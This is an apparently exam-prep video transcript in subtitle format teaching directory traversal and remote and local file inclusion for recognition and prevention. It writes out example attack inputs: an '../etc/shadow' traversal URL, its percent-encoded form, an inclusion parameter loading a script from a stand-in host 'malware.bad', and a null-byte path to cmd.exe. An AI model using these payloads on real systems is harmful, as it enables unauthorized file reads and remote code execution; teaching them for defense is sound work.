1 1 00:00:00,570 --> 00:00:02,820 Directory Traversal. 2 2 00:00:02,820 --> 00:00:04,530 In this lesson we're going to talk about 3 3 00:00:04,530 --> 00:00:06,270 directory traversal attacks 4 4 00:00:06,270 --> 00:00:08,880 and the vulnerabilities associated with them. 5 5 00:00:08,880 --> 00:00:11,340 Now, when we talk about a directory traversal attack 6 6 00:00:11,340 --> 00:00:13,500 this is a type of injection attack. 7 7 00:00:13,500 --> 00:00:15,510 An injection attacks occur when the attacker 8 8 00:00:15,510 --> 00:00:19,260 inserts malicious code through an application interface. 9 9 00:00:19,260 --> 00:00:21,510 Now the one we're going to talk about specifically here 10 10 00:00:21,510 --> 00:00:24,240 and focus on, is directory transversal. 11 11 00:00:24,240 --> 00:00:27,300 Now a directory traversal is a type of injection attack 12 12 00:00:27,300 --> 00:00:29,790 and any kind of injection attack really focuses 13 13 00:00:29,790 --> 00:00:32,640 on the ability for the attacker to insert malicious code 14 14 00:00:32,640 --> 00:00:34,680 through an application interface. 15 15 00:00:34,680 --> 00:00:36,810 Now, when we talk about a directory traversal, 16 16 00:00:36,810 --> 00:00:38,850 we're talking about an application attack 17 17 00:00:38,850 --> 00:00:41,250 that allows access to commands and files, 18 18 00:00:41,250 --> 00:00:43,590 and directories, that may or may not be connected 19 19 00:00:43,590 --> 00:00:45,600 to the web document route directory. 20 20 00:00:45,600 --> 00:00:46,740 Now, if you're running a web server 21 21 00:00:46,740 --> 00:00:48,540 you're running this on Windows or Mac, 22 22 00:00:48,540 --> 00:00:51,357 or Linux, or Unix, or some kind of operating system, 23 23 00:00:51,357 --> 00:00:53,340 and there's going to be a folder in there 24 24 00:00:53,340 --> 00:00:55,680 that is called the web document route. 25 25 00:00:55,680 --> 00:00:57,270 Essentially, that folder is where, 26 26 00:00:57,270 --> 00:00:59,190 when you go to diontraining.com, 27 27 00:00:59,190 --> 00:01:01,020 it goes to find those files. 28 28 00:01:01,020 --> 00:01:03,060 Now that isn't the root of your hard drive, 29 29 00:01:03,060 --> 00:01:05,550 it's just the root of that directory, 30 30 00:01:05,550 --> 00:01:07,710 but there's many folders above that. 31 31 00:01:07,710 --> 00:01:09,150 And so if I went to something like 32 32 00:01:09,150 --> 00:01:14,150 diontraining.com/../../../../etc/shadow, 33 33 00:01:17,130 --> 00:01:20,580 that would try to go and find that shadow file. 34 34 00:01:20,580 --> 00:01:23,880 Now, that shadow file isn't inside the web root though. 35 35 00:01:23,880 --> 00:01:26,640 Instead it's located on some other file 36 36 00:01:26,640 --> 00:01:28,290 off of the directory. 37 37 00:01:28,290 --> 00:01:33,290 And so what we're doing here with that ../../../../ 38 38 00:01:34,620 --> 00:01:36,660 is doing a directory traversal. 39 39 00:01:36,660 --> 00:01:39,120 Now, let me show you what this looks like graphically. 40 40 00:01:39,120 --> 00:01:41,580 Essentially we have something that looks like this. 41 41 00:01:41,580 --> 00:01:44,010 The root is the actual root of your hard drive. 42 42 00:01:44,010 --> 00:01:46,680 So my server happens to be using Linux, 43 43 00:01:46,680 --> 00:01:47,790 and because we're using Linux, 44 44 00:01:47,790 --> 00:01:49,560 we're going to be using that slash. 45 45 00:01:49,560 --> 00:01:50,910 Now, that's the root. 46 46 00:01:50,910 --> 00:01:52,860 Underneath that, I have two folders. 47 47 00:01:52,860 --> 00:01:56,100 I have /etc and /home. 48 48 00:01:56,100 --> 00:01:58,620 Now, if I go underneath the home directory, 49 49 00:01:58,620 --> 00:02:00,090 I have /programs, 50 50 00:02:00,090 --> 00:02:03,270 and if I go under that, I have /www_root. 51 51 00:02:03,270 --> 00:02:05,640 And under that, that's where my webpages are stored. 52 52 00:02:05,640 --> 00:02:09,090 So the www_route, that is my web route directory 53 53 00:02:09,090 --> 00:02:10,470 for those documents. 54 54 00:02:10,470 --> 00:02:11,850 So when somebody tries to go to 55 55 00:02:11,850 --> 00:02:16,850 diontraing.com/../../../../etc/shadow, 56 56 00:02:19,440 --> 00:02:20,760 what are they trying to do? 57 57 00:02:20,760 --> 00:02:23,310 Well, if we start with diontraining.com, 58 58 00:02:23,310 --> 00:02:28,310 that's going to load index.html or index.php from the webpages. 59 59 00:02:28,740 --> 00:02:31,290 That's that blue thing in the bottom right corner. 60 60 00:02:31,290 --> 00:02:35,580 Now, when I go ../, I go up into the folder above it 61 61 00:02:35,580 --> 00:02:38,410 and then ../ goes again up into the folder above it. 62 62 00:02:38,410 --> 00:02:41,140 ../ goes up into the folder above it. 63 63 00:02:41,140 --> 00:02:44,550 ../ goes up into the root directory now, 64 64 00:02:44,550 --> 00:02:48,480 and then I go /etc down into the etc folder, 65 65 00:02:48,480 --> 00:02:49,650 and then /shadow, 66 66 00:02:49,650 --> 00:02:51,840 I'm going to try to read that shadow file. 67 67 00:02:51,840 --> 00:02:53,070 That's what they're doing here. 68 68 00:02:53,070 --> 00:02:55,110 That's what a directory traversal is. 69 69 00:02:55,110 --> 00:02:56,640 And so if we can read those files 70 70 00:02:56,640 --> 00:02:58,800 or execute those files by doing this, 71 71 00:02:58,800 --> 00:03:01,920 we can do that from a URL by typing into a browser 72 72 00:03:01,920 --> 00:03:03,990 and remotely attack that system. 73 73 00:03:03,990 --> 00:03:06,120 So we don't want this to happen, right? 74 74 00:03:06,120 --> 00:03:07,350 Now when we look at these, 75 75 00:03:07,350 --> 00:03:09,713 you're going to see a lot of these ../ or ..\. 76 76 00:03:11,730 --> 00:03:13,770 Now in this case, it's ../ 77 77 00:03:13,770 --> 00:03:18,180 because Unix systems, like Linux and Mac, they use ../. 78 78 00:03:18,180 --> 00:03:19,650 If you're using a window system, 79 79 00:03:19,650 --> 00:03:21,690 so you're using IIS as your web server, 80 80 00:03:21,690 --> 00:03:24,210 it's going to use ..\ 81 81 00:03:24,210 --> 00:03:28,951 because on a Windows system you have your C drive C:\ 82 82 00:03:28,951 --> 00:03:31,080 and so you're going to be using ..\, 83 83 00:03:31,080 --> 00:03:33,120 but a lot of times Windows is configured 84 84 00:03:33,120 --> 00:03:34,530 to accept either way, 85 85 00:03:34,530 --> 00:03:38,010 the forward slash or the backslash, and it will accept both. 86 86 00:03:38,010 --> 00:03:40,380 Now, what we want to do with these directory transverses 87 87 00:03:40,380 --> 00:03:42,120 is prevent them from happening. 88 88 00:03:42,120 --> 00:03:43,650 So how can we do that? 89 89 00:03:43,650 --> 00:03:45,450 Now, the problem with these directory traversals, 90 90 00:03:45,450 --> 00:03:47,700 like I said, is that they can be used to access 91 91 00:03:47,700 --> 00:03:50,700 any file on a system if they have the right permissions. 92 92 00:03:50,700 --> 00:03:53,250 So if I configure my server correctly, 93 93 00:03:53,250 --> 00:03:54,510 you're not going to have access 94 94 00:03:54,510 --> 00:03:58,140 as a web user to read my shadow file or my password file, 95 95 00:03:58,140 --> 00:03:59,520 but if I didn't have it correctly, 96 96 00:03:59,520 --> 00:04:00,480 you could access those 97 97 00:04:00,480 --> 00:04:02,280 and read those right from your browser. 98 98 00:04:02,280 --> 00:04:04,380 And so we want to be able to prevent this from happening. 99 99 00:04:04,380 --> 00:04:06,330 Now, one thing I want to warn you about, 100 100 00:04:06,330 --> 00:04:08,880 you're not always just going to see the ../, 101 101 00:04:08,880 --> 00:04:10,560 now that is the most common way to see it, 102 102 00:04:10,560 --> 00:04:12,000 especially on the exam, 103 103 00:04:12,000 --> 00:04:13,950 to identify a directory traversal. 104 104 00:04:13,950 --> 00:04:15,780 But remember we talked about encoding 105 105 00:04:15,780 --> 00:04:17,550 all the way back earlier in the course? 106 106 00:04:17,550 --> 00:04:20,460 Well, people can use encoding against you as well. 107 107 00:04:20,460 --> 00:04:22,260 Attackers can use encoding to hide 108 108 00:04:22,260 --> 00:04:23,910 their directory traversal attempts. 109 109 00:04:23,910 --> 00:04:25,590 So instead of using ../, 110 110 00:04:25,590 --> 00:04:30,590 they might use %2e%2e%2f, and that would be ../. 111 111 00:04:32,040 --> 00:04:34,110 So keep that in mind as well. 112 112 00:04:34,110 --> 00:04:35,940 Now, another vulnerability we have to talk about 113 113 00:04:35,940 --> 00:04:39,060 when we talk about directory traversals is file inclusion. 114 114 00:04:39,060 --> 00:04:41,880 File inclusion is when a web application vulnerability 115 115 00:04:41,880 --> 00:04:43,140 is being exploited, 116 116 00:04:43,140 --> 00:04:45,480 that allows an attacker to either download a file 117 117 00:04:45,480 --> 00:04:48,133 from an arbitrary location on the host file system, 118 118 00:04:48,133 --> 00:04:50,250 by using that directory traversal, 119 119 00:04:50,250 --> 00:04:54,270 or upload an executable or script file to open a back door. 120 120 00:04:54,270 --> 00:04:56,550 Now, this'll come in two different flavors. 121 121 00:04:56,550 --> 00:05:00,390 We have remote file inclusions and local file inclusions. 122 122 00:05:00,390 --> 00:05:02,460 When we talk about a remote file inclusion, 123 123 00:05:02,460 --> 00:05:04,800 this occurs when an attacker tries to execute a script 124 124 00:05:04,800 --> 00:05:08,730 to inject a remote file into the web app or the website. 125 125 00:05:08,730 --> 00:05:10,440 So if I use something like 126 126 00:05:10,440 --> 00:05:15,440 https://diontraining.com/login.php. 127 127 00:05:15,930 --> 00:05:17,250 That part is fine. 128 128 00:05:17,250 --> 00:05:19,680 Then I have a ?user= 129 129 00:05:19,680 --> 00:05:20,820 this is passing the parameter 130 130 00:05:20,820 --> 00:05:22,740 of which user I want to log in as. 131 131 00:05:22,740 --> 00:05:24,300 Now, what user am I going to log into? 132 132 00:05:24,300 --> 00:05:25,770 Am I going to log in as Jason? 133 133 00:05:25,770 --> 00:05:30,770 No, we're going to log in as http//malware.bad/malicious.php? 134 134 00:05:32,070 --> 00:05:34,140 So what we're doing is we're passing this parameter 135 135 00:05:34,140 --> 00:05:35,760 and when our system executes 136 136 00:05:35,760 --> 00:05:37,320 and tries to find that parameter 137 137 00:05:37,320 --> 00:05:38,730 to load it into our database, 138 138 00:05:38,730 --> 00:05:41,160 instead we're going to load in this malicious script. 139 139 00:05:41,160 --> 00:05:43,530 So this is the idea of a remote file inclusion. 140 140 00:05:43,530 --> 00:05:46,170 We're including this remote file malicious.php 141 141 00:05:46,170 --> 00:05:47,490 from this other website 142 142 00:05:47,490 --> 00:05:50,550 into my web server using this type of command. 143 143 00:05:50,550 --> 00:05:52,410 Now, another one you can use is what's called 144 144 00:05:52,410 --> 00:05:53,910 Local File Inclusion. 145 145 00:05:53,910 --> 00:05:56,220 Now, local file inclusions are where an attacker 146 146 00:05:56,220 --> 00:05:57,780 tries to add a file to the web app 147 147 00:05:57,780 --> 00:06:00,960 or website that already exists on the hosting server. 148 148 00:06:00,960 --> 00:06:02,280 So let's say on my website 149 149 00:06:02,280 --> 00:06:04,320 we might allow you to upload something like a picture 150 150 00:06:04,320 --> 00:06:07,620 or a PDF, or other files, as part of our community forum. 151 151 00:06:07,620 --> 00:06:09,750 Well, then you could reference that file 152 152 00:06:09,750 --> 00:06:11,820 because it's already sitting on my server. 153 153 00:06:11,820 --> 00:06:13,590 So in this case, you would do something like, 154 154 00:06:13,590 --> 00:06:18,590 https://diontraining.com/login.php?user= 155 155 00:06:20,640 --> 00:06:22,807 and now here you see this directory traversal 156 156 00:06:22,807 --> 00:06:27,807 ../../windows/system32/cmd.exe%00. 157 157 00:06:30,690 --> 00:06:32,070 Now, what are they trying to do? 158 158 00:06:32,070 --> 00:06:34,110 This is assuming that I have a window server 159 159 00:06:34,110 --> 00:06:36,120 and they're trying to go up two directories 160 160 00:06:36,120 --> 00:06:37,410 into the Windows directory, 161 161 00:06:37,410 --> 00:06:40,320 down into system32 and run the command shell. 162 162 00:06:40,320 --> 00:06:42,570 This way, they can run any program they want 163 163 00:06:42,570 --> 00:06:44,670 that executes in DOS or Windows. 164 164 00:06:44,670 --> 00:06:47,340 Now what is that %00 at the end? 165 165 00:06:47,340 --> 00:06:49,170 Well, that's a common tactic that's used 166 166 00:06:49,170 --> 00:06:52,260 to insert a null character at the end of your URL. 167 167 00:06:52,260 --> 00:06:55,980 That %00 in URL encoding is essentially a null character. 168 168 00:06:55,980 --> 00:06:58,230 And so this is being used to request to bypass 169 169 00:06:58,230 --> 00:07:01,560 the security mechanisms that would normally add a .php 170 170 00:07:01,560 --> 00:07:02,730 to the end of the request 171 171 00:07:02,730 --> 00:07:05,880 and instead allow us to use that .exe extension. 172 172 00:07:05,880 --> 00:07:08,880 Now for the exam, let me give you a couple of quick tips. 173 173 00:07:08,880 --> 00:07:11,580 Anytime you see something with ../, 174 174 00:07:11,580 --> 00:07:13,920 I want you to think directory traversal. 175 175 00:07:13,920 --> 00:07:16,320 This is what the answer is most likely going to be. 176 176 00:07:16,320 --> 00:07:18,390 Now, the reason for this is because on the exam, 177 177 00:07:18,390 --> 00:07:19,290 they're going to bring up the idea 178 178 00:07:19,290 --> 00:07:21,510 of directory traversal a lot. 179 179 00:07:21,510 --> 00:07:23,040 Now you might also get some questions 180 180 00:07:23,040 --> 00:07:25,740 about local file inclusions, and if that's the case, 181 181 00:07:25,740 --> 00:07:28,230 that is a type of directory traversal. 182 182 00:07:28,230 --> 00:07:30,360 Now, if you get a question like this on the exam, 183 183 00:07:30,360 --> 00:07:33,000 you're not going to have answer choices A, B, C and D, 184 184 00:07:33,000 --> 00:07:34,650 where A is directory traversal 185 185 00:07:34,650 --> 00:07:36,540 and B is local file inclusion. 186 186 00:07:36,540 --> 00:07:37,950 They won't do that to you. 187 187 00:07:37,950 --> 00:07:40,380 Instead, you're going to have on this question, 188 188 00:07:40,380 --> 00:07:41,340 directory traversal. 189 189 00:07:41,340 --> 00:07:42,210 On another one, 190 190 00:07:42,210 --> 00:07:43,890 you might have local file inclusion. 191 191 00:07:43,890 --> 00:07:47,070 So if you see ../, it's one of those two things. 192 192 00:07:47,070 --> 00:07:48,360 Now, when you're on the exam, 193 193 00:07:48,360 --> 00:07:50,040 you're going to be asked to look at logs 194 194 00:07:50,040 --> 00:07:51,690 and things like proxy servers. 195 195 00:07:51,690 --> 00:07:53,670 And as you're looking through the proxy server logs, 196 196 00:07:53,670 --> 00:07:56,940 you're going to see these different URLs inside those logs. 197 197 00:07:56,940 --> 00:08:00,090 And as you look at them, anytime you see that../, 198 198 00:08:00,090 --> 00:08:02,610 I want you to remember that is directory traversal 199 199 00:08:02,610 --> 00:08:05,210 and that'll be the right answer for you on the exam.